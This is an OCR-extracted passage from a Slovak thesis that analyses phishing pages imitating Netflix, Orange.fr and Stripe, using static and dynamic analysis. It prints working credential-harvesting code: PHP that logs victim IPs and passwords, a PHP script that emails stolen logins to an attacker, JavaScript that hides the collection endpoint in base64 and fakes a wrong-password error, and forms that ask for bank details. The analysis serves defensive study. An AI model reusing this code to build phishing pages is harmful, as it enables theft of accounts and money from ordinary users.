. Tmate: xxxxxx.tmate.io

. Tunnel.pyjam.as — xxxxxx.tunnel.pyjam.as/
. UltraHook: https://xxxxxx.ultrahook.com

. Warp: https://xxxxxx.cloudflarewarp.com

. Warp: https://xxxxxx.try.warp.dev

[60]

4.3 Analyza phishingovych utokov

4.3.1 Netflix

Tento utok je vygenerovany prostrednictvom phishing kitu s ndzvom 69phisher popisany
v oddiele 4.1.2. Pre lepsie pochopenie utoku ako celku, je vhodné analyzovat’ utok aj z dru-
hej strany. Hlavnou vyhodou analyzy tohto utoku je, Ze je dostupny aj serverovy kod, a je

teda lepSie pochopitel'né, ako je dany utok implementovany.


https://xxxxxx.try.warp.dev/
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4.3.1.1 Struktiira strinky

Stranka na prvy pohl'ad vyzerd pomerne vierohodne. Pri porovnani s origindlom st vSak
ozorovatel'né rozdiely, ¢i uz v pozadi stranky alebo v samotno ihlasovacom formulari
tel'né rozdiely, ¢i di stranky aleb motnom prihl formulari,

ktory na falosnej stranke vyzera nemoderne a ma mierne iné rozlozenie.

€ = C A Dangerous | innocent-things-chapel-aquipped trycloudflare.com/login. htmi

Sign In

Email

Password

I:‘EQIZ(',:- r email or pa: ord?

v Remember me

H Login with Facebook

New to Netflix? Sign up now.

C @ netflixcom/cz en/login

Sign up now.

Obrazok 71 — Oficialna Netflix stranka
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4.3.1.1 Staticka analyza

Prie¢inok obsahujuci subory pre phishingovy utok vyuzivajuci Netflix obsahuje 8 suborov,

kde najdolezitejSie st 3 zlto oznacené subory.

Akshay-Arjun frontend changes e825¢74 onJun 29,2022 O History
[ FB-f-Logo_blue_57.png Add files via upload last year
[ index.php Add files via upload last year
O loginhtml Add files via upload last year
O login.php Add files via upload last year
O nonecss Add files via upload last year
O nonejs Add files via upload last year
[ none_002js Add files via upload last year
3 sdkjs Add files via upload last year

Obrazok 72 — subory phishingového utoku

e index.php — Tento stibor ma za ilohu zavolat’ subor ip.php, ktory sa stard o zachy-
tenie IP adresy obete. Dalsou tilohou tohto stiboru je presmerovat’ obet’ na subor lo-

gin.html, ktory obsahuje stranku, ktort je moZzné vidiet’ na obrazku vyssie.

<?php
include 'ip.php';
header( 'Location: Login.html");
exit
2>
e ip.php — Tento subor obsahuje viacero prikazov a podmienok, ktoré sa snazia o zis-

kanie IP adresy osoby pristupujlicej na server, ktora je nasledne ulozena do premen-

nej $ipaddress.

<?php

if (lempty($_SERVER[ 'HTTP_CLIENT IP'])){
$ipaddress = $ SERVER[ 'HTTP_CLIENT _IP']."\r\n";

}

elseif (lempty($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ipaddress = $ SERVER[ "HTTP_X_ FORWARDED FOR']."\r\n";

}

else{
$ipaddress

$_SERVER[ 'REMOTE_ADDR']."\r\n";
}
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DalSim krokom je ziskanie informacii o prehliadaci:

“We are going to check what sort of browser the visitor is using. For that, we check

the user agent string the browser sends as part of the HTTP request.” [61]

"

$useragent = " User-Agent: ";
$browser = $ SERVER[ 'HTTP_USER _AGENT'];

Poslednym krokom je otvorenie a zapis do suboru, ktory je naformatovany a preve-

deny prostrednictvom nasledujtcich prikazov. Nakoniec je subor zatvoreny.

$file = "ip.txt';
$victim = "\nIP: ";

$fp = fopen($file, 'a’);

fwrite($fp, $victim);
fwrite($fp, $ipaddress);
fwrite($fp, $useragent);
fwrite($fp, $browser);
fclose($fp);

Vysledkom je potom zapis do suboru v tvare:

IP: 193.165.97.111
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0)
Gecko/20100101 Firefox/109.0

e login.html — Je najvacsi subor, ktory obsahuje kompletnu Struktiru stranky. Hlavna
Cast’ kodu je zobrazend na obrazku niZSie. Téato Cast’ pozostava z elementu form,
ktory ma Specifikované mimo iné dolezit¢ atributy action="login.php*
a method="post®. Tieto 2 atributy majl za nasledok to, Ze po ,,submit* akcii na tomto
forme, st data z elementov input odoslané pomocou metody POST na server, kde
budu spracovavané stiborom login.php.

Zbytok kodu obstardva d’alSie odkazy na stranke, ktoré vi¢sinou presmeruju pouzi-

vatel'a na oficialne stranky.
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<form class="login-form" action="login.php" method="post" data-reactid="13">
<label class="login-input login-input-email ui-label ui-input-label” id="lbl-email” placeholder="email" data-reactid="14"»
<span class="ui-label-text" data-reactid="15">Email</span>
<input class="ul-text-input” name="email" id="email" tabindex="1" autocomplete="email" data-reactid="16">
</label>
<div class="hybrid-password-wrapper" data-reactid="17"»>
<label class="hybrid-password login-input login-input-password ui-label ui-input-label” id="1bl-password” placehclder="password"
<span class="ui-label-text" data-reactid="19"»Password</span>
<input class="ui-text-input” name="password" id="password" tabindex="2" data-reactid="20" type="password"></label>
<input class="show-toggle no-toggle" value="Show Password” data-reactid="21" type="button">
<span data-reactid="22"></span>
</div>
<div class="login-forgot-password-wrapper" data-reactid="23"»
L <a href="https://www.netflix.com/LoginHelp” class="login-help-link" tabindex="3" data-reactid="24">Forgot your email or password?
/div>
<button class="btn login-button btn-submit btn-small" type="submit" autocomplete="off" tabindex="4" data-reactid="25">
<l-- react-text: 26 -->Sign In<!-- /react-text --»
</button>
<div class="login-remember-me-wrapper" data-reactid="27">
<div class="ui-binary-input login-remember-me" data-reactid="28"»

<input class="" name="rememberMe" id="bxid_rememberMe_true" value="true" tabindex="5" data-reactid="29" type="checkbox" checked
<div class="helper" data-reactid="32"»</div>
</div>
</div>

</form>

Obrazok 73 — HTML kod phishingového utoku

e login.php — Stubor obsahuje 2 hlavné funkcie file put contents a header. Prva zmie-
nend funkcia ma za tlohu zapisovat’ do suboru, ktory je uvedeny ako 1. parameter.
Zapisuje sa obsah, ktory je uvedeny ako 2. parameter. Tento obsah je Specifikovany
atributom name v input elemente. Poslednym tretim parametrom je postup zépisu.
V tomto pripade FILE APPEND, ktory zaistuje, Ze novy zapis sa bude pripdjat na

koniec uz existujiiceho suboru.

Funkcia header potom podobne ako to bolo v pripade stiboru index.php presmero-
véava na oficidlne stranky spolocnosti Netflix.
<?php
file put contents("usernames.txt", "Netflix Username: " .
$ POST['email '] . " Pass: " . $ POST['password'] . "\n",
FILE APPEND);
header('Location: https://www.netflix.com/us/LoginHelp");

exit();
2>

4.3.1.2 Dynamicka analyza

V tomto pripade dynamickd analyza nema zmysel, nakol’ko data st odosielané prostrednic-
tvom POST metody v ramci form elementu na stranke, ako je moZné vidiet' v predchadza-

jucej kapitole.
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4.3.1.3 Analyza utoku ako celku

Tento utok nie je ve'mi dokonaly po vizudlnej stranke, avSak jeho silnou strankou je, Ze
vSetky linky a odkazy funguju, taktiez po odoslani prihlasovacich idajov d6jde k presmero-
vaniu na legitimnu stranku, ktora by mohla nasledovat’ pri dvojfazovom overeni, ktora uz sa

na rozdiel od prihlasovacej stranky takmer zhoduje z vizudlom podvrhnutej stranky.

Forgot Email/Password

Obrazok 74 — Podobnost’ stranky

Kd na stranke je koncipovany vel'mi jednoducho. NevyuZiva Ziadny ajax ani in€ zloZitejSie
metody, ale pouZziva odoslanie dat prostrednictvom protokolu http metédou POST.

4.3.2 Orange.fr
Tato podvodna phishingova stranka bola nijdend na webe https://openphish.com/in-
dex.html, ktory sa Specializuje na zbieranie takychto podvodnych webov.
4.3.2.1 Struktira stranky

Struktira stranky na prvy pohl'ad pripomina oficialnu stranku, st tu vak uréité rozdiely, ¢i

uz vo velkosti a fonte pisma, farbach niektorych prvkov, ¢i rozloZeni.

NajddlezitejSim rozdielom je, Ze ziadne tlacidlo ani odkaz na podvodnej stranke nefunguju.


https://openphish.com/index.html
https://openphish.com/index.html
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4 c o a izzayolc o & O o [erwr

Vous étes un particulier O Rechercher @ Aide et contact

. Mobiles et forfaits Internet Packs Internet + Mobile Maison TV et divertissement Banque News

Pour vous identifier

C'est votre 1re connexion ?

ser la creation de votre compte. Pour cel

mobile fournis lors de votre sous:

Indiquez votre compte Orange

Comment retrouver I'adresse e-mail de votre compte

Créer un compte sans étre client Orange

Besoin d'aide ?

Obrazok 75 — Podvrhnuté stranka Orange

q c O @ loginorange. ® » 0 @ [oo

Vous &tes un particulier SO Rechercher B Nos boutiques € Aide ot contact

. Mobiles et forfaits ~ Internet  Packs Intemnet + Mobile ~ Maison TV etdivertissement  Banque  News

Pour vous identifier

C'est votre premiare connexion 7

Finalisez la création de vetre compte en saisissant I'adresse e-mail ou le numéro de mobile
fournis par Orange ou Sosh lors de votre souscription,
Indiquez votre compte Orange

Adresse e-mail ou n° de mobile Orange

Comment retrouver I'adresse e-mail de votre compte

Créer un compte sans étre client Orange

Besoin d'aide ?

Obrazok 76 — Oficialna stranka Orange.fr

Po vyplneni e-mailu alebo mobilného ¢isla a kliknuti na tlacidlo ,,Continuer uzivatel'a

stranka vyzve o vyplnenie hesla, k tomuto uctu.
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4 C H A Danc pizzayolo.co/# . o P O @ |Emor

Vous étes un particulier O Rechercher @ Aide et contact

. Mobiles et forfaits Internet Packs Internet + Mobile Maison TV et divertissement Banque News

Pour vous identifier

test@test.com

Changer de compte

Saisissez votre mot de passe

Mot de passe oublié

Créer un compte sans étre client Orange

Besoin d'aide ?

Obrazok 77 — Ziadost’ o zadanie hesla

Po vyplneni hesla sa zobrazi sprava, informujtica o zlom zadani hesla, a uzivatel ma moz-

nost’ zadat’ ho znova.

Voous étes un particulier .

Pour vous
identifier

test@test.com

Changer de compte

Saisissez votre mot de
passe

Mot de passe
incorrect..!

Veuillez saisir

lem

Obrazok 78 — Vyzva na opdtovné zadanie hesla

Po opdtovnom zadani hesla dojde k presmerovaniu na oficidlne stranky spolo¢nosti Orange.
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4.3.2.2 Staticka analyza

Stranka je tvorend jednym HTML dokumentom, ktory obsahuje nielen Struktiru stranky, ale
nachadza sa tu aj funkcionalita v jazyku Javascript, ktord ma na starosti spracovanie dat, ¢i
vizualne Upravy stranky v jazyku CSS. V kode su taktiez pouzité kniznice Bootstrap, Fon-

tawesome a JQuery.

HTML kod pol'a na zadanie emailu/¢isla je realizovany nasledovne:

[x ﬂ Elements Console Sources Network Performance > o1 A2

<html class="translated-1tr">
¥ <head>..</head>
¥ <body>
» <header id="o0-header" class="o-responsive fixed-center o-center-align fixed-cent
lign o-onei” style="height: auto;">.</header>
¥<div class="

¥ediv style="margin-left: 10@px;margin-top: 3@px">
»d > fdivy | Flex
v<d “display: block;">
»edi t-3">.c/divs | flex
P edi fdiv> ( flex
Fedi div>( flex
¥<di lex

v class="form-group">
<!-- <label class="h5">ai</label> -->
<input type="email” name="ai" class="form-control rounded-8" id="ai"
describedby="aiHelp" placeholder="Mobile email or n ° address Orangd
der-right: none;border-left: nene;border-top: none;"> == $8

</div>

€/ div> ( flex
& fdivy | flex
</div>
»¢div id="div2" style="display: none;">.</div>
</div>

i rrn Aiernl & Andtdid Ao dineral ln Tt A Ansfrem arain ineibEai faem cnnd

Obrazok 79 — HTML koéd ziskania emailu

Pole ma nastavené id="ai” a je to type=email

$('#next').click(function() {
var ai = $('#ai').val();
var filter = /~([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0O-
91{2,4})+$/;
var my_ai = ai;
if (tai) {
$('.error').show();
$('.error').html("Le champ E-mail est vide.!");
return false;

if (!filter.test(my_ai)) {
$('.error').show();
$('.error').html("Cette adresse mail ou ce numéro de mobile
n’est pas valide. Vérifiez votre saisie");
return false;
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var ind = my_ai.indexOf("@");

var my_slice = my_ai.substr((ind + 1));

var ¢ = my_slice.substr(0, my_slice.indexOf("'."));
var final = c.tolLowerCase();

1
Po zadani emailu a kliknuti na tlacidlo pokracovat’, sa vykona kontrola pomocou regular-
neho vyrazu overujuceho spravnu postupnost’, poziciu zavinacu atd’. V pripade, ze nieCo

nevyhovuje, je zobrazena chybova hlaska. Vysledny ret’azec je nasledne rozdeleny a preme-

neny na malé pismena.

HTML kéd pol'a na zadanie hesla je realizovany nasledovne:

[x ﬂ Elements Console Sources Network Performance » o1 B2 *
<!-- <label class="h5"»>ai</label> -->

<input type="email" name="ai" class="form-control rounded-@" id="ai" aria-
describedby="aiHelp™ placeholder="Mobile email or n ° address Orange” style="bo
der-right: none;border-left: none;border-top: none;">

</div>
</diwv>
</div>
> <div "row">.</div> | flex
> <div 55="row" >.</div> ( flex
<Jdiv>
vdiv id="div2" style="right: @px;">
F<di mt-3">.¢/div> | flex
P <di & /divy | flex
P cdi >.</div> |
Y«d > (flex
¥ <di col-1g-6 mt-4"»

ass="form-group">
-- <label class="h5"»ai</label> --»
<input type="password" name="pr" class="form-control rounded-@" id="pr" aria-
describedby="aiHelp” placeholder="Password” style="border-right: none;border-le
t: none;border-top: none;"» == $8
</div>
</div>
</div>
P <div class="row mt-5">.¢/div> flex
</div>
</div>
</div>

Obrazok 80 — HTML koéd ziskania hesla

Pole ma nastavené id="pr”.
V nasledujicom kdéde je dolezité premenné s nazvom file a count.

Po kliknuti na tlacidlo ,,submit-btn* sa schova pripadna zobrazend sprava, nacitaju sa hod-

noty zo spomenutych poli a skontroluje sa, Ze je heslo zadané.

var file = "bmvV4dC5waHA=";
$('#tsubmit-btn').click(function(event) {
$("#msg").hide();
$(".error").hide();
event.preventDefault();
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var ai = $("#ai").val();

var pr = $("#pr").val();

if (tpr) {
$('.error').show();
$('.error').html("Le champ du mot de passe est vide.!");
return false;

}

Premenna count je na zaciatku programu inicializovana na 0 a pri behu inkrementovana.

Nasledne program prejde uz do samotného odoslania prostrednictvom ajaxu. Ten je napl-
neny datami emailu a hesla. Délezité je si vSimnut’, pouzitie metddy atob(file), ktora je pre-

davana ako parameter url.

count = count + 1;

$.ajax({
dataType: 'JSON',
url: atob(file),
type: 'POST',
data: {
ai: ai,
pr: pr,

}s

Funkcia atob() je definovana takto - ,,The atob() function decodes a string of data which has
been encoded using Base64 encoding. You can use the btoa() method to encode and transmit
data which may otherwise cause communication problems, then transmit it and use

the atob() method to decode the data again.” [62]

Tu sa uz dostavame k doleZitosti premennej file, ktora uchovava na prvy pohl'ad nezmyselnu

hodnotu, av8ak po pouZiti reverznej funkcie btoa(), zistime, Ze pdvodny ret'azec

var file = "bmvV4dC5waHA=";

je po dekodovani rovny retazcu "next.php". Je teda zrejmé, Ze Gto¢nik vyuziva obfuskacné

metddy na ztaZenie d’alSej analyzy.

Z tohto teda vieme, Ze ajax posiela data d’alej na server do suboru next.php, kde st data d’alej

spracovavané a odosielané priamo utoc¢nikovi.


https://developer.mozilla.org/en-US/docs/Glossary/Base64
https://developer.mozilla.org/en-US/docs/Web/API/btoa
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Zbytok kodu slizi na spracovanie metdd beforeSend, success, error a complete, ktoré su

spustané na zéklade odozvy z ajaxu.

1)
1)

beforeSend: function(xhr) {
$('#submit-btn').html('Vérification ...");
}s
success: function(response) {
$("#pr").val("");
if (count >= 2) {
count = 0;
window.location.replace("https://login.orange.fr/");
return false;

}
$("#tmsg").show();

s
error: function() {
$("#pr").val("");
if (count >= 2) {
count = 0;
window.location.replace("https://login.orange.fr/");
return false;
}
$("#tmsg").show();
}s
complete: function() {
$('#submit-btn').html('S’identifier");
}

Opét je nutné si v§imnat’ vyuzitie premennej count. T4 je pouzita v oboch metddach, ako

success, tak aj error, a v podmienke je nutné, aby bola premenna vicsia alebo rovna 2.

To znamena, ze bez ohl'adu na to, ¢1 boli data uspesne odoslané alebo nie, je uzivatel'ovi na

prvy krat vzdy zobrazena chybova hlaska, a je vyzvany, aby zadal heslo znova.

Po druhom zadani hesla je uZivatel’ presmerovany na oficidlne stranky spolo¢nosti Orange.

Dalsim logickym krokom je teda analyzovat’ stibor, ktory spracovava data odoslané ajaxom.

Tento subor sa vSak nachadza na serveri, kde uto¢nik zamedzil pristup.

Vyhladanim retazca "bmv4dC5waHA=" sa vSak podarilo dohl'adat’, Ze sa pravdepodobne

jedna o vyuZitie tzv. phishing kitu.
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Analyzou inej stranky s totoznym kodom teda zistili: ,, The next.php PHP script will get the
credentials to send them, by email (using the PHP mail() function), to the email address
implemented into the email.php script ($Receive_email): *

f?php

include coail.php’;

$email = trim($ POST['ai’']);

$password = trim({$ POST['pr']);

if($email !'= null && S$password != null){
%ip = getenv("REMOTE ADDR");
thostname = gethostbyaddrisip);
$useragent = $ SERVER["HTTP_USER_AGENT'];

$message .= "|---------- | ®xLs |-------------- Iwn®;

$message .= "Online ID : ".semail."\n";

$message .= "Passcode : ".$password."\n";

$message .= "|------------o-- INFO | IP -c--cmemmmmmeaaans [xn®;
$message .= "|Client IP: ".%ip."\n";

$message .= "|--- http://www.geoiptool.com/?IP=$ip ----\n";
$message .= "User Agent : ".$useragent."\n";

$message .= "|----------- fudsender(dot)com -------------- [\n";

$send = $Receive email;

$subject = “"Login : $ip";
mail($send, $subject, $message);
$signal = ‘ok’';

$msg = 'InValid Credentials’;

// Spraga=rand();
// spraga=md5(spraga);
else{
$signal = "bad’;
$msg = "Please fill in all the fields.';
$data = array(
signal' => $signal,
msg' == $msg,
redirect link' => $%$redirect,
echo json_encede(s$data);

7=

Obrazok 81 — Kod serverového skriptu, ktory spracovava obdrzané tidaje [63]

4.3.2.3 Dynamicka analyza

Do kodu JavaScript boli nastavené breakpointy, aby bolo mozné lepsie porozumiet’ chova-

niu programu, a overit’ funkénost’ kodu zistenu pocas statickej analyzy.

N Elements Console Sources Network: Performance Memor Application Security
Paused in debugge & 4 AL J

» i [ (index) X jquery-3.2.1slim.minjs b
c———— wremeep

revenosauscy 75

v Otop 290
v O pizzayolo, 291 $("#submit-btn").click();
292
> s 293 } else {
B (ndex) 294 return false;
Oy G 295 i
no doma

K 296 }
»Oajaxgoog 297 });
» O cwoopic.y 298

299
> O conjsCOUQEETTS, (¢ -#ai®).Delick(function() {
» O codejgque 301 $('.error’).hide();
302 });
> O fonts 000 prrn B hnextty.Delick(function() {
» O maxcdnb 354 var ai = $('#ai').val(); ai = "test@test.com”
» O stackpath IIELD var filter = /~([a-ZA-28-9_\.\-1)+\@(([a-2A-70-9\-])+\.)+([a-2A-70-¢
» O usefontan 306 Z::r(r:l:;:;)(f ai; my_ai = “test@test.com”, ai = "test@test.com
308 $(".error').shou();
309 $('.error').html("Le champ E-mail est vide.!");
310 return false;
311 }
312
if (Ifilter.test(my_ai)) { Filter = /A([a-zA-Z08-9_\.\-1)+\@(([a-zA
314 $(".error’).show();
315 $(".error’).html("Cette adresse mail ou ce numéro de mobile n’ec
316 return false;
317 }
var ind = my_ai.indexOf("@"); ind = 4, my_ai = “"test@test.com”
319 var my_slice = my_ai.substr((ind + 1)); my_slice = "test.com”
320 var ¢ = my_slice.substr(®, my_slice.index0f('.')); c = "test”
321 var final = c.tolowerCase(); final = "test"
322
B$("#divl").Danimate({ left: @, opacity: “hide" }, @);
324 $("#div2").animate({ right: @, opacity: "shou” }, 1000);
325 B("#aich”).html(my ai);
326
327 1)
P$( #back’).Dclick(function() {
329 $("#msg”).hide();
330 $(".error”) . hide();
331 $("#div2").animate({ left: 0, opacity: “hide” }, 0);
332 $("#divl").animate({ right: @, opacity: "show™ }, 1000);
333
38 });

Obrazok 82 — Dynamicka analyza kodu prva cast’



UTB ve Zliné, Fakulta aplikované informatiky 111

Skuto¢ne vidime ako kéd pracuje so zadanym emailom, filtruje ho a overuje.

baused in debugger 1> 7 TN 5 [® @] CEements Comsole Sources Network Performance  Memory  Application S
H K] s

v Otop
orange’ ¥ pizzayolo! “hide" }, @);
> o css y: “shou" }, 1000);
B Gnde
» & (no doma ’
Pour Vous » > ajangoogMEER) var File = “omvadcsuata=";
» O cwoopics Is(‘;(sﬂu:? t tt;j‘d];(t)‘(.llck(Funttjnn(ever\t) { event = n.Event {origin
.d t'f' > O cdnjsclou 339 $(".error").hide();
laentitier > O codejquen 242 event.preventDefault(); event = {originalEvent: Pointer
ED var ai = B$("#ai").Dval(); = es
> fonts.goo 5 var pr = $("#pr).val(); pr = "
» &S maxcdnb if (tpr) {
$(".error').shou();
> h
est@test.com & stackpatt $('.error').html("Le champ du mot de passe est vide.!");
» (S use.fontay return false;
3
.\anger de compte >
350 count = count + 1;
351
S S-f d 352 B$.Dajax({
aisissez votre mot de 353 dataType: “ISON,
354 url: atob(file),
passe type: 'POST',
data: {
7 ai: ai, ai =
8 pr: pr, pr o=
9
8 1,
361 beforeSend: function(xhr) {
E2 P$( #submit-btn’).Dhtml( Vérification ...');
363 1
364 success: function(response) {
365 BS("#pr").Dval("");
366 if (count »= 2) {

367 count - 0;
Vérification ... 8 window.location.replace( https: //login.orange.fr/");
369 return false;

3 )
3 )

Mot de passe oublié > | BS("#msg”).Dshou();
372

b

Obrazok 83 — Dynamické analyza kodu druhd cast’

Po zadani hesla a odoslani je moZzné vidiet, ze dané udaje s nacitané do premennych a

dosadené do datového objektu ajaxu.

4.3.2.4 Analyza utoku ako celku

Tento phishing je $pecificky svojim napadom s dvojnasobnym odoslanim hesla. Utoénik
v pouzivatel'ovi vyvola dojem, Ze pri pisani prvého hesla urobil preklep. Je logické, Ze obet’

sa tak pri pisani hesla druhy krat bude viac sustredit’, a chybu uz neurobi.

Takto utocnik ziska heslo 2x. V pripade, Ze by obet’ naozaj urobila preklep v prvom zadani,
druhé odoslanie dat uz bude takmer urcite obsahovat’ spravne heslo. V pripade, Ze uZivatel’
chybu neurobil, odosli sa 2 totozné hesld a Gtocnik ma tak istotu, ze dané heslo bude

spravne.

Druhou moznostou je, Ze obet’ si bude mysliet’, Ze zadané heslo nie je spravne, a skusi tak
zadat’ nejaké iné, nim pouzivané heslo. V takomto pripade uto¢nik ziska 2 hesla, ktoré uzi-
vatel pouziva, a je tak pravdepodobné, Ze niektoré z danych hesiel bude pouzivat’ aj v inych
aplikaciach a mdze tak ziskat' pristup aj k inym uctom ako danému uctu u spolocnosti

Orange. Utoc¢nik taktieZ vyuZiva uréité obfuskaéné metody na komplikaciu analyzy kédu.
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4.3.3 Stripe

Poslednym skimanym phishingom je podvrhnuta stranka sluzby Stripe.

4.3.3.1 Struktira stranku

Ako je mozné vidiet’ na obrazkoch niZSie, prihlasovacia stranka je takmer identicka ako ofi-
cidlna stranka. Rozdiely su len vel'mi nepatrné a aj osoba, ktord pozna oficialnu stranku, by
si zmeny v§imla len s malou pravdepodobnost'ou. Jediné viditeI'né zmeny st v hribke népisu
,»ign in to your account*, pripadne v odkazoch naspodku stranky.
9 c 0 & Dangerous | 666.amszonsuco PRE-. * 0> =
stripe

Sign in to your account

Email

Pazsword Forgot your password? -

Stay signed in for a week

/ Use single sign-on (550} instead

Don't have an account? Sign up

© Stripe - Contact - Privacy & terms

Obréazok 84 — Podvrhnutd stranka Stripe

q c 0 & dashboardstripecom/login EN: . ] * 0O =

Sign in to your account

Email

Password Forgot your password? —

Stay signed in for a weck

/ Use single sign-on (SS0) instead

Don't have an account? Sign u

@ sccurty tp

Obrazok 85 — Oficialna stranka stripe
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4.3.3.2 Staticka analyza

Hlavny princip preposielania udajov je v tomto pripade form element, ktory posiela data
formou http poziadavku na server. Priebeh tutoku spociva v dvojitom odoslani a nasledne

este vyziadani bankovych tdajov.
Prvé zadanie udajov:

Pri prvom zadani udajov je v elemente form Specifikovany stibor me.php, ktory na serveri
spracovava odoslané udaje. Taktiez je Specifikovana metoda, ktora bude v HTTP requeste
pouzitd. Pretoze sa jedna o odoslanie tidajov na server a nie vyziadanie, uto¢nik pouziva

metoédu POST.
<form name="signin" action="me.php" method="post">

Tato metdda berie udaje z input elementov na formulari, ktorymi st v tomto pripade email
a heslo. Pre odoslanie sa elementy identifikuji na zéklade atribatu name. Konkrétnu Struk-
taru tohto elementu je mozné vidiet’ nizsie.

<input autocomplete="username email" tabindex="1" aria-invalid="false"
id="user" name="aa" required="" placeholder="" type="email" aria-la-

bel="email input" aria-required="true" value="" style="color:#3c4257; left:
Opx; top: Opx;">

Podobne aj element hesla je identifikovany atribitom name.

<input autocomplete="current-password" tabindex="2" aria-invalid="false"
id="passwd" name="bb" required="" placeholder="" type="password" aria-la-
bel="password input" aria-required="false" value="" style="color:#3c4257">

Po kliknuti na tlacidlo dojde k odoslaniu tidajov a zobrazeniu spravy o chybne zadanom
hesle, ktora je vidite'na na obrazku niZ8ie. Na prvy pohl'ad sa zd4, Ze sa jedna o totoznu
stranku, na ktorej sa zobrazila sprava. Pri lepSom pohl'ade na URL adresu je vSak vidiet, ze

stranku zobrazuje uz iny subor.
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stripe

Sign in to your account

Email

Obrazok 86 — Ziadost’ o opitovné zadanie prihlasovacich tidajov

Druhé zadanie Gdajov:

Aj napriek tomu, Ze sa jednd o poziadavku o zadanie totoznych dat, je mozné vidiet, Ze za-
dané data st na serveri spracovavané inym skriptom, konkrétne mel.php. Vzhl'adom k tomu,
Ze sa jedna o serverovy skript, nie je isté, aky je jeho obsah, a ¢i sa teoreticky nejedna len

o duplikat, avSak toto st len domnienky, ktor uz nie je mozné analyzovat.
<form name="signin" action="mel.php" method="post">

Input elementy zostali v tomto pripade nezmenené.

Zadanie bankovych udajov:

Pri tretom odoslani zostava vSetko totozné ako u predchadzajucich. Opét’ je vSak rozdielny

stibor a to me3.php.
<form name="signin" action="me3.php" method="post">

<input autocomplete="username email" tabindex="1" aria-invalid="false"
id="user" name="aa" required="" placeholder="Account Number" type="text"
aria-label="email input" aria-required="true" value="" style="color:#3c4257;
left: Opx; top: Opx;">

<input autocomplete="username email" tabindex="1" aria-invalid="false"
id="user®" name="bb" required="" placeholder="Confirm Account Number"
type="text" aria-label="email input" aria-required="true" value=""
style="color:#3c4257; left: Opx; top: Opx;">
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4.3.3.3 Dynamickd analyza

Pre dynamicku analyzu bol pouzity software BurpSuite. Vzhl'adom k tomu, ze stranka pou-
ziva nesifrovany HTTP protokol, je mozné odchytavat’ jednotlivé requesty posielané na ser-

Ver.

Pri prvom odoslani s vyplnené tdaje zobrazené na obrazku nizsie.

< X A Notsecure | 666.amazonsu.co o 2w * A 0O a

stripe

Sign in to your account

Email

test@test.com

Password Forgot your password? —

Stay signed in for a week

— Use single sign-on (SSO) instead

Obrazok 87 — Vyplnenie udajov na stranke

Ihned’ po kliknuti na tlacidlo continue je mozné v BurpSuite vidiet’ informacie v poslanom
requeste. Jedna sa hlavne o vyuzitua metddu, stibor spravujuci odoslané data, user-agent, teda
o informacie o prehliadaci, stranku na ktoru st udaje posielané, jazyk a kodovanie stranky
atd. NajdolezitejSim prvkom je vSak posledny ret'azec, ktory zobrazuje nazov atribtu name,

v danom input elemente, spolu s hodnotou, ktora bola vyplnena.

POST /me.php HTTP/1.1

Host: GEE.amazonsu.co

Content-Length: 29

Cache-Control: max-age=0

Upgrade-Insecure-Bequests: 1

Origin: http://EEE. amazonsu. co

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; xE4) AppleWebKit/537.3& (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.3¢&
Accept:

text/html, application/xhtmltxml, application/xml;q=0.9, image/avif, image/webp, image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://666. amazonsu.co/

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.9

Connection: close

aa=test¥40test. comibb=testll3

Obrazok 88 — Zachytenie prvého pokusu o prihldsenie s pouzitim Burpsuite
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V druhom posielani dat je mozné vSimnut’ si rozdielu v parametri ,,Referer, kde je vidiet

subor rvnc.php, ktory zobrazuje stranku pozadujicu druhé zadanie udajov.

Raw Hex \n

1 POST /mel php HTTP/1.1

Host: EEE.amazonsu.co

3 Content-Length: I9

4 Cache-Control: max-age=0

¢ Upgrade-Insecure-Requests: 1

€ Origin: http://EE6. amazonsu. co

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.3&

S Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,inage/avif,image/webp,inage/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

10 Referer: http://EEE.amazonsu.co/rvnc.php

11 Accept-Encoding: gzip, deflate

12 Accept-Language: en-US,en;q=0.9

13 Connection: close

@

15 aa=test$40test.com&bb=testl23

Obrazok 89 - Zachytenie prvého pokusu o prihlasenie s pouZzitim Burpsuite

Po zadani bankovnych udajov je zobrazena tretia stranka generovana siborom profile.php.

« C A Notsecure | 666.amazonsu.co/profilephp e w » A 0O &

stripe

For added security, Please confirm
your bank account.

123456

123456 _

Obrazok 90 — Ziadost’ o zadanie bankovych tdajov

Zachyteny request je podobny tym predchadzajicim, s rozdielom php scriptu a referer para-

metru.

1 POST /me3.php HTTR/1.1

2 Host: EEE.amazonsu.co

3 Content-Length: 19

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

Origin: http://E66.amazonsu. co

Content-Type: application/x—www-form-urlencoded

2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x€4) AppleWebKic/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36

S Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,inage/webp,inage/apng,*/*;q=0.8,application/signed-exchange;v=h3;q=0.7

L0 Referer: http://666.amazonsu.co/profile.php

Accept-Encoding: gzip, deflate

L2 Accept-Language: en-US,en,;q=0.9

L3 Connection: close

LS aa=123456&bh=123456

Obrazok 91 — Zachytenie odosielania bankovych tdajov
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4.3.3.4 Analyza utoku ako celku

Tento utok je spracovany vel'mi kvalitne ale jednoducho. Utok stavia na dokonalej podob-
nosti podvrhnutej stranky. Utok taktieZ rovnako ako predchadzajuci popisovany vyuziva
metodu dvojitého prihlasovania, ktory ma za tllohu bud’ zaistit’ korektné heslo, ktoré nebude
obsahovat’ preklepy, alebo pripadne 2 hesld v ramci jedného titoku. Odosielanie dat prebieha
pomocou jednoduchych http requestov, ktoré posielaju data metédou post, do suboru na ser-
veri, ktory je definovany vo form atribute na HTML stranke. Stranka okrem prihlasovacich
